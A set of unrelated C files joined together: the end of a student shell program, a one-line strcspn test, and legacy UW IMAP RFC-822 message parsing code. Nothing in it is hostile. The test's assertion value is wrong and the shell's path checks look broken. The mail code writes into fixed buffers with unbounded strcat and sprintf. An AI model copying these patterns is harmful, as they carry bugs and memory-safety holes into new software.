printf("Directory [%s] not be found. \n", token[1]);
}
//add the pid using getpid() function to pids aarray
pids[p] = getpid();
p++; //increase the p postion
safe = 0;
}
///using strcmp to check if input = showpid to output pids used
if(strcmp(token[0],"showpid") == 0 )
{
int i = 0;
for(i = 0; i < p; i++)
{
printf("%d: %d\n",i,pids[i]);
}
}
if(strcmp(token[0],"history") == 0)
{
int i, j = 0;
for(i = history_count;i>-1;i--)
{
printf("[%d]: %s\n",j,history[i]);
j++;
}
}
//paths
//"/usr/local/bin/"
if(strcmp(token[0],path) == 0)
{
strcat(path,token[0]);
execv(path,token);
}
//"/usr/bin/"
if(strcmp(token[0],path_1) == 0)
{
strcat(path_1,token[0]);
execv(path_1,token);
}
// "/bin/"
if(strcmp(token[0],path_2) == 0)
{
strcat(path_2,token[0]);
execv(path_2,token);
}
if(safe)
{
pid_t pid = fork();
//add the pid using getpid() function to pids aarray
pids[p] = getpid();
p++; //increase the p postion
if(pid == 0)
{
execvp(token[0], token);
fflush(NULL);
}
else
{
int x;
waitpid(pid,&x,0);
fflush(NULL);
}
}
}
free( working_root );
}
return 0;
}
|
the_stack_data/628385.c | #include <string.h>
int main ()
{
char str[] = "fcba73";
char keys[] = "1234567890";
int i;
i = strcspn (str,keys);
assert(i == 5);
return 0;
}
|
the_stack_data/92324764.c | /* Copyright (c) 2017, Computer History Museum
All rights reserved.
Redistribution and use in source and binary forms, with or without modification, are permitted (subject to
the limitations in the disclaimer below) provided that the following conditions are met:
* Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer.
* Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following
disclaimer in the documentation and/or other materials provided with the distribution.
* Neither the name of Computer History Museum nor the names of its contributors may be used to endorse or promote products
derived from this software without specific prior written permission.
NO EXPRESS OR IMPLIED LICENSES TO ANY PARTY'S PATENT RIGHTS ARE GRANTED BY THIS LICENSE. THIS SOFTWARE IS PROVIDED BY THE
COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES
(INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS
INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING
NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH
DAMAGE. */
#ifdef IMAP
/*
* Program: RFC-822 routines (originally from SMTP)
*
* Author: Mark Crispin
* Networks and Distributed Computing
* Computing & Communications
* University of Washington
* Administration Building, AG-44
* Seattle, WA 98195
* Internet: [email protected]
*
* Date: 27 July 1988
* Last Edited: 20 February 1997
*
* Sponsorship: The original version of this work was developed in the
* Symbolic Systems Resources Group of the Knowledge Systems
* Laboratory at Stanford University in 1987-88, and was funded
* by the Biomedical Research Technology Program of the National
* Institutes of Health under grant number RR-00785.
*
* Original version Copyright 1988 by The Leland Stanford Junior University
* Copyright 1997 by the University of Washington
*
* Permission to use, copy, modify, and distribute this software and its
* documentation for any purpose and without fee is hereby granted, provided
* that the above copyright notices appear in all copies and that both the
* above copyright notices and this permission notice appear in supporting
* documentation, and that the name of the University of Washington or The
* Leland Stanford Junior University not be used in advertising or publicity
* pertaining to distribution of the software without specific, written prior
* permission. This software is made available "as is", and
* THE UNIVERSITY OF WASHINGTON AND THE LELAND STANFORD JUNIOR UNIVERSITY
* DISCLAIM ALL WARRANTIES, EXPRESS OR IMPLIED, WITH REGARD TO THIS SOFTWARE,
* INCLUDING WITHOUT LIMITATION ALL IMPLIED WARRANTIES OF MERCHANTABILITY AND
* FITNESS FOR A PARTICULAR PURPOSE, AND IN NO EVENT SHALL THE UNIVERSITY OF
* WASHINGTON OR THE LELAND STANFORD JUNIOR UNIVERSITY BE LIABLE FOR ANY
* SPECIAL, INDIRECT OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES WHATSOEVER
* RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN ACTION OF
* CONTRACT, TORT (INCLUDING NEGLIGENCE) OR STRICT LIABILITY, ARISING OUT OF
* OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE.
*
*/
#include "mail.h"
#include "osdep.h"
#include "rfc822.h"
#include "misc.h"
/* RFC-822 static data */
char *errhst = ERRHOST; /* syntax error host string */
/* Body formats constant strings, must match definitions in mail.h */
char *body_types[TYPEMAX+1] = {
"TEXT", "MULTIPART", "MESSAGE", "APPLICATION", "AUDIO", "IMAGE", "VIDEO",
"MODEL", "X-UNKNOWN"
};
char *body_encodings[ENCMAX+1] = {
"7BIT", "8BIT", "BINARY", "BASE64", "QUOTED-PRINTABLE", "X-UNKNOWN"
};
/* Token delimiting special characters */
/* full RFC-822 specials */
const char *rspecials = "()<>@,;:\\\"[].";
/* body token specials */
const char *tspecials = " ()<>@,;:\\\"[]./?=";
/* Once upon a time, CSnet had a mailer which assigned special semantics to
* dot in e-mail addresses. For the sake of that mailer, dot was added to
* the RFC-822 definition of `specials', even though it had numerous bad side
* effects:
* 1) It broke mailbox names on systems which had dots in user names, such as
* Multics and TOPS-20. RFC-822's syntax rules require that `Admin . MRC'
* be considered equivalent to `Admin.MRC'. Fortunately, few people ever
* tried this in practice.
* 2) It required that all personal names with an initial be quoted, a widely
* detested user interface misfeature.
* 3) It made the parsing of host names be non-atomic for no good reason.
* To work around these problems, the following alternate specials lists are
* defined. hspecials and wspecials are used in lieu of rspecials, and
* ptspecials are used in lieu of tspecials. These alternate specials lists
* make the parser work a lot better in the real world. It ain't politically
* correct, but it lets the users get their job done!
*/
/* parse-word specials */
const char *wspecials = " ()<>@,;:\\\"[]";
/* parse-token specials for parsing */
const char *ptspecials = " ()<>@,;:\\\"[]/?=";
/* RFC822 writing routines */
/* Write RFC822 IMAPheader from message structure
* Accepts: scratch buffer to write into
* message envelope
* message body
*/
void rfc822_header (char *IMAPheader,ENVELOPE *env,IMAPBODY *body)
{
if (env->remail) /* if remailing */
{
long i = strlen (env->remail);
/* flush extra blank line */
if (i > 4 && env->remail[i-4] == '\015') env->remail[i-2] = '\0';
strcpy (IMAPheader,env->remail);/* start with remail IMAPheader */
}
else *IMAPheader = '\0'; /* else initialize IMAPheader to null */
rfc822_header_line (&IMAPheader,"Newsgroups",env,env->newsgroups);
rfc822_header_line (&IMAPheader,"Date",env,env->date);
rfc822_address_line (&IMAPheader,"From",env,env->from);
rfc822_address_line (&IMAPheader,"Sender",env,env->sender);
rfc822_address_line (&IMAPheader,"Reply-To",env,env->reply_to);
rfc822_header_line (&IMAPheader,"Subject",env,env->subject);
if (env->bcc && !(env->to || env->cc)) strcat (IMAPheader,"To: undisclosed recipients: ;\015\012");
rfc822_address_line (&IMAPheader,"To",env,env->to);
rfc822_address_line (&IMAPheader,"cc",env,env->cc);
/* bcc's are never written...
* rfc822_address_line (&IMAPheader,"bcc",env,env->bcc);
*/
rfc822_header_line (&IMAPheader,"In-Reply-To",env,env->in_reply_to);
rfc822_header_line (&IMAPheader,"Message-ID",env,env->message_id);
rfc822_header_line (&IMAPheader,"Followup-to",env,env->followup_to);
rfc822_header_line (&IMAPheader,"References",env,env->references);
if (body && !env->remail) /* not if remail or no body structure */
{
strcat (IMAPheader,"MIME-Version: 1.0\015\012");
rfc822_write_body_header (&IMAPheader,body);
}
strcat (IMAPheader,"\015\012"); /* write terminating blank line */
}
/* Write RFC822 address from IMAPheader line
* Accepts: pointer to destination string pointer
* pointer to IMAPheader type
* message to interpret
* address to interpret
*/
void rfc822_address_line (char **IMAPheader,char *type,ENVELOPE *env,ADDRESS *adr)
{
char *t,tmp[MAILTMPLEN];
long i,len,n = 0;
char *s = (*IMAPheader += strlen (*IMAPheader));
if (adr) /* do nothing if no addresses */
{
if (env && env->remail) strcat (s,"ReSent-");
strcat (s,type); /* write IMAPheader name */
strcat (s,": ");
s += (len = strlen (s)); /* initial string length */
do /* run down address list */
{
*(t = tmp) = '\0'; /* initially empty string */
/* start of group? */
if (adr->mailbox && !adr->host)
{
/* yes, write group name */
rfc822_cat (t,adr->mailbox,rspecials);
strcat (t,": "); /* write group identifier */
n++; /* in a group, suppress expansion */
}
else /* not start of group */
{
if (!adr->host && n) /* end of group? */
{
strcat (t,";"); /* write close delimiter */
n--; /* no longer in a group */
}
else if (!n) /* only print if not inside a group */
{
/* simple case? */
if (!(adr->personal || adr->adl)) rfc822_address (t,adr);
else /* no, must use phrase <route-addr> form */
{
if (adr->personal) rfc822_cat (t,adr->personal,rspecials);
strcat (t," <"); /* write address delimiter */
/* write address */
rfc822_address (t,adr);
strcat (t,">"); /* closing delimiter */
}
}
/* write delimiter for next recipient */
if (!n && adr->next && adr->next->mailbox) strcat (t,", ");
}
/* if string would overflow */
if ((len += (i = strlen (t))) > 78)
{
len = 4 + i; /* continue it on a new line */
*s++ = '\015'; *s++ = '\012';
*s++ = ' '; *s++ = ' '; *s++ = ' '; *s++ = ' ';
}
while (*t) *s++ = *t++; /* write this address */
} while (adr = adr->next);
/* tie off IMAPheader line */
*s++ = '\015'; *s++ = '\012'; *s = '\0';
*IMAPheader = s; /* set return value */
}
}
/* Write RFC822 text from IMAPheader line
* Accepts: pointer to destination string pointer
* pointer to IMAPheader type
* message to interpret
* pointer to text
*/
void rfc822_header_line (char **IMAPheader,char *type,ENVELOPE *env,char *text)
{
if (text) sprintf ((*IMAPheader += strlen (*IMAPheader)),"%s%s: %s\015\012",env->remail ? "ReSent-" : "",type,text);
}
/* Write RFC822 address
* Accepts: pointer to destination string
* address to interpret
*/
void rfc822_write_address (char *dest,ADDRESS *adr)
{
while (adr)
{
/* start of group? */
if (adr->mailbox && !adr->host)
{
/* yes, write group name */
rfc822_cat (dest,adr->mailbox,rspecials);
strcat (dest,": "); /* write group identifier */
adr = adr->next; /* move to next address block */
}
else /* end of group? */
{
if (!adr->host) strcat (dest,";");
/* simple case? */
else if (!(adr->personal || adr->adl)) rfc822_address (dest,adr);
else /* no, must use phrase <route-addr> form */
{
if (adr->personal) /* in case have adl but no personal name */
{
rfc822_cat (dest,adr->personal,rspecials);
strcat (dest," ");
}
strcat (dest,"<"); /* write address delimiter */
rfc822_address (dest,adr);/* write address */
strcat (dest,">"); /* closing delimiter */
}
/* delimit if there is one */
if ((adr = adr->next) && adr->mailbox) strcat (dest,", ");
}
}
}
/* Write RFC822 route-address to string
* Accepts: pointer to destination string
* address to interpret
*/
void rfc822_address (char *dest,ADDRESS *adr)
{
if (adr && adr->host) /* no-op if no address */
{
if (adr->adl) /* have an A-D-L? */
{
strcat (dest,adr->adl);
strcat (dest,":");
}
/* write mailbox name */
rfc822_cat (dest,adr->mailbox,wspecials);
if (*adr->host != '@') /* unless null host (HIGHLY discouraged!) */
{
strcat (dest,"@"); /* host delimiter */
strcat (dest,adr->host); /* write host name */
}
}
}
/* Concatenate RFC822 string
* Accepts: pointer to destination string
* pointer to string to concatenate
* list of special characters
*/
void rfc822_cat (char *dest,char *src,const char *specials)
{
char *s;
if (strpbrk (src,specials)) /* any specials present? */
{
strcat (dest,"\""); /* opening quote */
/* truly bizarre characters in there? */
while (s = strpbrk (src,"\\\""))
{
strncat (dest,src,s-src); /* yes, output leader */
strcat (dest,"\\"); /* quoting */
strncat (dest,s,1); /* output the bizarre character */
src = ++s; /* continue after the bizarre character */
}
if (*src) strcat (dest,src);/* output non-bizarre string */
strcat (dest,"\""); /* closing quote */
}
else strcat (dest,src); /* otherwise it's the easy case */
}
/* Write body content IMAPheader
* Accepts: pointer to destination string pointer
* pointer to body to interpret
*/
void rfc822_write_body_header (char **dst,IMAPBODY *body)
{
char *s;
STRINGLIST *stl;
PARAMETER *param = body->parameter;
sprintf (*dst += strlen (*dst),"Content-Type: %s",body_types[body->type]);
s = body->subtype ? body->subtype : rfc822_default_subtype (body->type);
sprintf (*dst += strlen (*dst),"/%s",s);
if (param)
do
{
sprintf (*dst += strlen (*dst),"; %s=",param->attribute);
rfc822_cat (*dst,param->value,tspecials);
} while (param = param->next);
else if (body->type == TYPETEXT) strcat (*dst,"; CHARSET=US-ASCII");
strcpy (*dst += strlen (*dst),"\015\012");
if (body->encoding) /* note: encoding 7BIT never output! */
sprintf (*dst += strlen (*dst),"Content-Transfer-Encoding: %s\015\012",body_encodings[body->encoding]);
if (body->id) sprintf (*dst += strlen (*dst),"Content-ID: %s\015\012", body->id);
if (body->description) sprintf (*dst += strlen (*dst),"Content-Description: %s\015\012", body->description);
if (body->md5) sprintf (*dst += strlen (*dst),"Content-MD5: %s\015\012",body->md5);
if (stl = body->language)
{
strcpy (*dst += strlen (*dst),"Content-Language: ");
do
{
rfc822_cat (*dst,stl->text.data,tspecials);
if (stl = stl->next) strcat (*dst += strlen (*dst),", ");
} while (stl);
}
if (body->disposition.type)
{
sprintf (*dst += strlen (*dst),"Content-Disposition: %s",
body->disposition.type);
if (param = body->disposition.parameter)
do
{
sprintf (*dst += strlen (*dst),"; %s=",param->attribute);
rfc822_cat (*dst,param->value,tspecials);
} while (param = param->next);
strcpy (*dst += strlen (*dst),"\015\012");
}
}
/* Subtype defaulting (a no-no, but regretably necessary...)
* Accepts: type code
* Returns: default subtype name
*/
char *rfc822_default_subtype (unsigned short type)
{
switch (type)
{
case TYPETEXT: /* default is TEXT/PLAIN */
return "PLAIN";
case TYPEMULTIPART: /* default is MULTIPART/MIXED */
return "MIXED";
case TYPEMESSAGE: /* default is MESSAGE/RFC822 */
return "RFC822";
case TYPEAPPLICATION: /* default is APPLICATION/OCTET-STREAM */
return "OCTET-STREAM";
case TYPEAUDIO: /* default is AUDIO/BASIC */
return "BASIC";
default: /* others have no default subtype */
return "UNKNOWN";
}
}
/* RFC822 parsing routines */
/* Parse an RFC822 message
* Accepts: pointer to return envelope
* pointer to return body
* pointer to IMAPheader
* IMAPheader byte count
* pointer to body stringstruct
* pointer to local host name
*/
void rfc822_parse_msg (ENVELOPE **en,IMAPBODY **bdy,char *s,unsigned long i,STRING *bs,char *host)
{
char c,*t,*d;
char *tmp = (char *) fs_get ((size_t) i + 100);
ENVELOPE *env = (*en = mail_newenvelope ());
IMAPBODY *body = bdy ? (*bdy = mail_newbody ()) : NIL;
long MIMEp = NIL; /* flag that MIME semantics are in effect */
long PathP = NIL; /* flag that a Path: was seen */
if (!tmp) return;
while (i && *s != '\n') /* until end of IMAPheader */
{
t = tmp; /* initialize buffer pointer */
c = ' '; /* and previous character */
while (i && c) /* collect text until logical end of line */
{
switch (c = *s++) /* slurp a character */
{
case '\015': /* return, possible end of logical line */
if (*s == '\n') break; /* ignore if LF follows */
case '\012': /* LF, possible end of logical line */
/* tie off unless next line starts with WS */
if (*s != ' ' && *s != '\t') *t++ = c = '\0';
break;
case '\t': /* tab */
*t++ = ' '; /* coerce to space */
break;
default: /* all other characters */
*t++ = c; /* insert the character into the line */
break;
}
if (!--i) *t++ = '\0'; /* see if end of IMAPheader */
}
/* find IMAPheader item type */
if (t = d = strchr (tmp,':'))
{
*d++ = '\0'; /* tie off IMAPheader item, point at its data */
while (*d == ' ') d++; /* flush whitespace */
while ((tmp < t--) && (*t == ' ')) *t = '\0';
switch (*ucase (tmp)) /* dispatch based on first character */
{
case '>': /* possible >From: */
if (!strcmp (tmp+1,"FROM")) rfc822_parse_adrlist (&env->from,d,host);
break;
case 'B': /* possible bcc: */
if (!strcmp (tmp+1,"CC")) rfc822_parse_adrlist (&env->bcc,d,host);
break;
case 'C': /* possible cc: or Content-<mumble>*/
if (!strcmp (tmp+1,"C")) rfc822_parse_adrlist (&env->cc,d,host);
else if ((tmp[1] == 'O') && (tmp[2] == 'N') && (tmp[3] == 'T')
&& (tmp[4] == 'E') && (tmp[5] == 'N') && (tmp[6] == 'T')
&& (tmp[7] == '-') && body && (MIMEp || (search (s-1,i,"\012MIME-Version",(long) 13))))
rfc822_parse_content_header (body,tmp+8,d);
break;
case 'D': /* possible Date: */
if (!env->date && !strcmp (tmp+1,"ATE")) env->date = cpystr (d);
break;
case 'F': /* possible From: */
if (!strcmp (tmp+1,"ROM")) rfc822_parse_adrlist (&env->from,d,host);
else if (!strcmp (tmp+1,"OLLOWUP-TO"))
{
t = env->followup_to = (char *) fs_get (1 + strlen (d));
if (!t) return;
while (c = *d++) if (c != ' ') *t++ = c;
*t++ = '\0';
}
break;
case 'I': /* possible In-Reply-To: */
if (!env->in_reply_to && !strcmp (tmp+1,"N-REPLY-TO")) env->in_reply_to = cpystr (d);
break;
case 'M': /* possible Message-ID: or MIME-Version: */
if (!env->message_id && !strcmp (tmp+1,"ESSAGE-ID")) env->message_id = cpystr (d);
else if (!strcmp (tmp+1,"IME-VERSION"))
{
/* tie off at end of phrase */
if (t = rfc822_parse_phrase (d)) *t = '\0';
rfc822_skipws (&d); /* skip whitespace */
/* known version? */
if (strcmp (d,"1.0") && strcmp (d,"RFC-XXXX"))
mm_log ("Warning: message has unknown MIME version",PARSE);
MIMEp = T; /* note that we are MIME */
}
break;
case 'N': /* possible Newsgroups: */
if (!env->newsgroups && !strcmp (tmp+1,"EWSGROUPS"))
{
t = env->newsgroups = (char *) fs_get (1 + strlen (d));
if (!t) return;
while (c = *d++) if (c != ' ') *t++ = c;
*t++ = '\0';
}
break;
case 'P': /* possible Path: */
if (!strcmp (tmp+1,"ATH")) PathP = T;
break;
case 'R': /* possible Reply-To: */
if (!strcmp (tmp+1,"EPLY-TO")) rfc822_parse_adrlist (&env->reply_to,d,host);
else if (!env->references && !strcmp (tmp+1,"EFERENCES")) env->references = cpystr (d);
break;
case 'S': /* possible Subject: or Sender: */
if (!env->subject && !strcmp (tmp+1,"UBJECT")) env->subject = cpystr (d);
else if (!strcmp (tmp+1,"ENDER")) rfc822_parse_adrlist (&env->sender,d,host);
break;
case 'T': /* possible To: */
if (!strcmp (tmp+1,"O")) rfc822_parse_adrlist (&env->to,d,host);
break;
default:
break;
}
}
}
/* We require a Path: IMAPheader and/or a Message-ID belonging to a known
* winning mail program, in order to believe Newsgroups:. This is because
* of the unfortunate existance of certain cretins who believe that it
* is reasonable to transmit messages via SMTP with a "Newsgroups" IMAPheader
* that were not actually posted to any of the named newsgroups.
* The authors of other high-quality email/news software are encouraged to
* use similar methods to indentify messages as coming from their software,
* and having done so, to tell us so they too can be blessed in this list.
*/
if (env->newsgroups && !PathP && env->message_id
&& strncmp (env->message_id,"<Pine.",6)
&& strncmp (env->message_id,"<MS-C.",6)
&& strncmp (env->message_id,"<MailManager.",13)
&& strncmp (env->message_id,"<EasyMail.",11)
&& strncmp (env->message_id,"<ML-",4))
{
sprintf (tmp,"Probable bogus newsgroup list \"%s\" in \"%s\" ignored",
env->newsgroups,env->message_id);
mm_log (tmp,PARSE);
fs_give ((void **) &env->newsgroups);
}
fs_give ((void **) &tmp); /* done with scratch buffer */
/* default Sender: and Reply-To: to From: */
if (!env->sender) env->sender = rfc822_cpy_adr (env->from);
if (!env->reply_to) env->reply_to = rfc822_cpy_adr (env->from);
/* now parse the body */
if (body) rfc822_parse_content (body,bs,host);
}
/* Parse a message body content
* Accepts: pointer to body structure
* body string
* pointer to local host name
*/
void rfc822_parse_content (IMAPBODY *body,STRING *bs,char *h)
{
char c,c1,*s,*s1;
int f;
unsigned long i,j,k,m;
PARAMETER *param;
PART *part = NIL;
if (!body->subtype) /* default subtype if still unknown */
body->subtype = cpystr (rfc822_default_subtype (body->type));
/* note offset and sizes */
body->contents.offset = GETPOS (bs);
/* note internal body size in all cases */
body->contents.text.size = i = SIZE (bs);
body->size.bytes = ((body->encoding == ENCBINARY) || (body->type == TYPEMULTIPART)) ? body->contents.text.size : strcrlflen (bs);
switch (body->type) /* see if anything else special to do */
{
case TYPETEXT: /* text content */
if (!body->parameter) /* default parameters */
{
body->parameter = mail_newbody_parameter ();
body->parameter->attribute = cpystr ("CHARSET");
body->parameter->value = cpystr ("US-ASCII");
}
/* count number of lines */
while (i--) if ((SNX (bs)) == '\n') body->size.lines++;
break;
case TYPEMESSAGE: /* encapsulated message */
body->nested.msg = mail_newmsg ();
/* encapsulated RFC-822 message? */
if (!strcmp (body->subtype,"RFC822"))
{
if ((body->encoding == ENCBASE64) || (body->encoding == ENCQUOTEDPRINTABLE) || (body->encoding == ENCOTHER))
mm_log ("Ignoring nested encoding of message contents",PARSE);
/* hunt for blank line */
for (c = '\012',j = 0; (i > j) && ((c != '\012') || (CHR(bs) != '\012'));
j++) if ((c1 = SNX (bs)) != '\015') c = c1;
if (i > j) /* unless no more text */
{
c1 = SNX (bs); /* body starts here */
j++; /* advance count */
}
/* note body text offset and IMAPheader size */
body->nested.msg->IMAPheader.text.size = j;
body->nested.msg->text.text.size = body->contents.text.size - j;
body->nested.msg->text.offset = GETPOS (bs);
body->nested.msg->full.offset = body->nested.msg->IMAPheader.offset =
body->contents.offset;
body->nested.msg->full.text.size = body->contents.text.size;
/* copy IMAPheader string */
SETPOS (bs,body->contents.offset);
s = (char *) fs_get ((size_t) j + 1);
if (!s) return;
for (s1 = s,k = j; k--; *s1++ = SNX (bs));
s[j] = '\0'; /* tie off string (not really necessary) */
/* now parse the body */
rfc822_parse_msg (&body->nested.msg->env,&body->nested.msg->body,s,j,bs,h);
fs_give ((void **) &s); /* free IMAPheader string */
/* restore position */
SETPOS (bs,body->contents.offset);
}
/* count number of lines */
while (i--) if (SNX (bs) == '\n') body->size.lines++;
break;
case TYPEMULTIPART: /* multiple parts */
/* remember if digest */
f = !strcmp (body->subtype,"DIGEST");
if ((body->encoding == ENCBASE64) || (body->encoding == ENCQUOTEDPRINTABLE) || (body->encoding == ENCOTHER))
mm_log ("Ignoring nested encoding of multipart contents",PARSE);
/* find cookie */
for (s1 = NIL,param = body->parameter; param && !s1; param = param->next)
if (!strcmp (param->attribute,"BOUNDARY")) s1 = param->value;
if (!s1) s1 = "-"; /* yucky default */
j = strlen (s1); /* length of cookie and IMAPheader */
c = '\012'; /* initially at beginning of line */
while (i > j) /* examine data */
{
if (m = GETPOS (bs)) m--; /* get position in front of character */
switch (c) /* examine each line */
{
case '\015': /* handle CRLF form */
if (CHR (bs) == '\012') /* following LF? */
{
c = SNX (bs); i--; /* yes, slurp it */
}
case '\012': /* at start of a line, start with -- ? */
if (i-- && ((c = SNX (bs)) == '-') && i-- && ((c = SNX (bs)) == '-'))
{
/* see if cookie matches */
for (k = j,s = s1; i-- && *s++ == (c = SNX (bs)) && --k;);
if (k) break; /* strings didn't match if non-zero */
/* look at what follows cookie */
if (i && i--)
switch (c = SNX (bs))
{
case '-': /* at end if two dashes */
if ((i && i--) && ((c = SNX (bs)) == '-') && ((i && i--) ? (((c = SNX (bs)) == '\015') || (c=='\012')):T))
{
/* if have a final part calculate its size */
if (part) part->body.mime.text.size =
(m > part->body.mime.offset) ? (m - part->body.mime.offset) :0;
part = NIL; i = 1; /* terminate scan */
}
break;
case '\015': /* handle CRLF form */
if (i && CHR (bs) == '\012')
{
c = SNX (bs); i--;/* yes, slurp it */
}
case '\012': /* new line */
if (part) /* calculate size of previous */
{
part->body.mime.text.size = (m > part->body.mime.offset) ? (m-part->body.mime.offset) : 0;
/* instantiate next */
part = part->next = mail_newbody_part ();
} /* otherwise start new list */
else part = body->nested.part = mail_newbody_part ();
/* digest has a different default */
if (f) part->body.type = TYPEMESSAGE;
/* note offset from main body */
part->body.mime.offset = GETPOS (bs);
break;
default: /* whatever it was it wasn't valid */
break;
}
}
break;
default: /* not at a line */
c = SNX (bs); i--; /* get next character */
break;
}
}
/* calculate size of any final part */
if (part) part->body.mime.text.size = i + ((GETPOS(bs) > part->body.mime.offset) ? (GETPOS(bs) - part->body.mime.offset) : 0);
/* make a scratch buffer */
s1 = (char *) fs_get ((size_t) (k = MAILTMPLEN));
if (!s1) return;
/* parse non-empty body parts */
for (part = body->nested.part; part; part = part->next)
if (i = part->body.mime.text.size)
{
/* move to that part of the body */
SETPOS (bs,part->body.mime.offset);
/* until end of IMAPheader */
while (i && ((c = CHR (bs)) != '\015') && (c != '\012'))
{
/* collect text until logical end of line */
for (j = 0,c = ' '; c; )
{
/* make sure buffer big enough */
if (j > (k - 10)) fs_resize ((void *) &s1,k += MAILTMPLEN);
switch (c1 = SNX (bs))
{
case '\015': /* return */
if (i && (CHR (bs) == '\012'))
{
c1 = SNX (bs); /* eat any LF following */
i--;
}
case '\012': /* newline, possible end of logical line */
/* tie off unless continuation */
if (!i || ((CHR (bs) != ' ') && (CHR (bs) != '\t')))
s1[j] = c = '\0';
break;
case '\t': /* tab */
case ' ': /* insert whitespace if not already there */
if (c != ' ') s1[j++] = c = ' ';
break;
default: /* all other characters */
s1[j++] = c = c1; /* insert the character into the line */
break;
}
/* end of data ties off the IMAPheader */
if (!--i) s1[j++] = c = '\0';
}
/* find IMAPheader item type */
if (((s1[0] == 'C') || (s1[0] == 'c')) &&
((s1[1] == 'O') || (s1[1] == 'o')) &&
((s1[2] == 'N') || (s1[2] == 'n')) &&
((s1[3] == 'T') || (s1[3] == 't')) &&
((s1[4] == 'E') || (s1[4] == 'e')) &&
((s1[5] == 'N') || (s1[5] == 'n')) &&
((s1[6] == 'T') || (s1[6] == 't')) &&
(s1[7] == '-') && (s = strchr (s1+8,':'))) {
/* tie off and flush whitespace */
for (*s++ = '\0'; *s == ' '; s++);
/* parse the IMAPheader */
rfc822_parse_content_header (&part->body,ucase (s1+8),s);
}
} /* skip IMAPheader trailing (CR)LF */
if (i && (CHR (bs) =='\015')) {i--; c1 = SNX (bs);}
if (i && (CHR (bs) =='\012')) {i--; c1 = SNX (bs);}
j = bs->size; /* save upper level size */
/* set offset for next level, fake size to i */
bs->size = GETPOS (bs) + i;
part->body.mime.text.size -= i;
/* now parse it */
rfc822_parse_content (&part->body,bs,h);
bs->size = j; /* restore current level size */
}
fs_give ((void **) &s1); /* finished with scratch buffer */
break;
default: /* nothing special to do in any other case */
break;
}
}
/* Parse RFC822 body content IMAPheader
* Accepts: body to write to
* possible content name
* remainder of IMAPheader
*/
void rfc822_parse_content_header (IMAPBODY *body,char *name,char *s)
{
char c,*t;
long i;
STRINGLIST *stl;
/* flush whitespace */
if (t = strchr (name,' ')) *t = '\0';
switch (*name) /* see what kind of content */
{
case 'I': /* possible Content-ID */
if (!(strcmp (name+1,"D") || body->id)) body->id = cpystr (s);
break;
case 'D': /* possible Content-Description */
if (!(strcmp (name+1,"ESCRIPTION") || body->description))
body->description = cpystr (s);
if (!(strcmp (name+1,"ISPOSITION") || body->disposition.type))
{
/* get type word */
if (!(name = rfc822_parse_word (s,ptspecials))) break;
c = *name; /* remember delimiter */
*name = '\0'; /* tie off type */
body->disposition.type = ucase (cpystr (s));
*name = c; /* restore delimiter */
rfc822_skipws (&name); /* skip whitespace */
rfc822_parse_parameter (&body->disposition.parameter,name);
}
break;
case 'L': /* possible Content-Language */
if (!(strcmp (name+1,"ANGUAGE") || body->language))
{
stl = NIL; /* process languages */
while (s && (name = rfc822_parse_word (s,ptspecials)))
{
c = *name; /* save delimiter */
*name = '\0'; /* tie off subtype */
if (stl) stl = stl->next = mail_newstringlist ();
else stl = body->language = mail_newstringlist ();
stl->text.data = ucase (cpystr (s));
stl->text.size = strlen (stl->text.data);
*name = c; /* restore delimiter */
rfc822_skipws (&name); /* skip whitespace */
if (*name == ',') /* any more languages? */
{
s = ++name; /* advance to it them */
rfc822_skipws (&s);
}
else s = NIL; /* bogus or end of list */
}
}
break;
case 'M': /* possible Content-MD5 */
if (!(strcmp (name+1,"D5") || body->md5)) body->md5 = cpystr (s);
break;
case 'T': /* possible Content-Type/Transfer-Encoding */
if (!(strcmp (name+1,"YPE") || body->subtype || body->parameter))
{
/* get type word */
if (!(name = rfc822_parse_word (s,ptspecials))) break;
c = *name; /* remember delimiter */
*name = '\0'; /* tie off type */
ucase (s); /* search for body type */
for (i=0; (i<=TYPEMAX) && body_types[i] && strcmp(s,body_types[i]); i++);
if (i > TYPEMAX) body->type = TYPEOTHER;
else /* if empty slot, assign it to this type */
{
if (!body_types[i]) body_types[i] = cpystr (s);
body->type = (unsigned short) i;
}
*name = c; /* restore delimiter */
rfc822_skipws (&name); /* skip whitespace */
if ((*name == '/') && (name = rfc822_parse_word ((s = ++name),ptspecials)))
{
c = *name; /* save delimiter */
*name = '\0'; /* tie off subtype */
rfc822_skipws (&s); /* copy subtype */
if (s) body->subtype = ucase (cpystr (s));
*name = c; /* restore delimiter */
rfc822_skipws (&name); /* skip whitespace */
}
else /* no subtype */
{
if (!name) /* did the fool have a subtype delimiter? */
{
name = s; /* barf, restore pointer */
rfc822_skipws (&name);/* skip leading whitespace */
}
}
rfc822_parse_parameter (&body->parameter,name);
}
else if (!strcmp (name+1,"RANSFER-ENCODING"))
{
/* flush out any confusing whitespace */
if (t = strchr (ucase (s),' ')) *t = '\0';
/* search for body encoding */
for (i = 0; (i <= ENCMAX) && body_encodings[i] && strcmp (s,body_encodings[i]); i++);
if (i > ENCMAX) body->type = ENCOTHER;
else /* if empty slot, assign it to this type */
{
if (!body_encodings[i]) body_encodings[i] = cpystr (s);
body->encoding = (unsigned short) i;
}
}
break;
default: /* otherwise unknown */
break;
}
}
/* Parse RFC822 body parameter list
* Accepts: parameter list to write to
* text of list
*/
void rfc822_parse_parameter (PARAMETER **par,char *text)
{
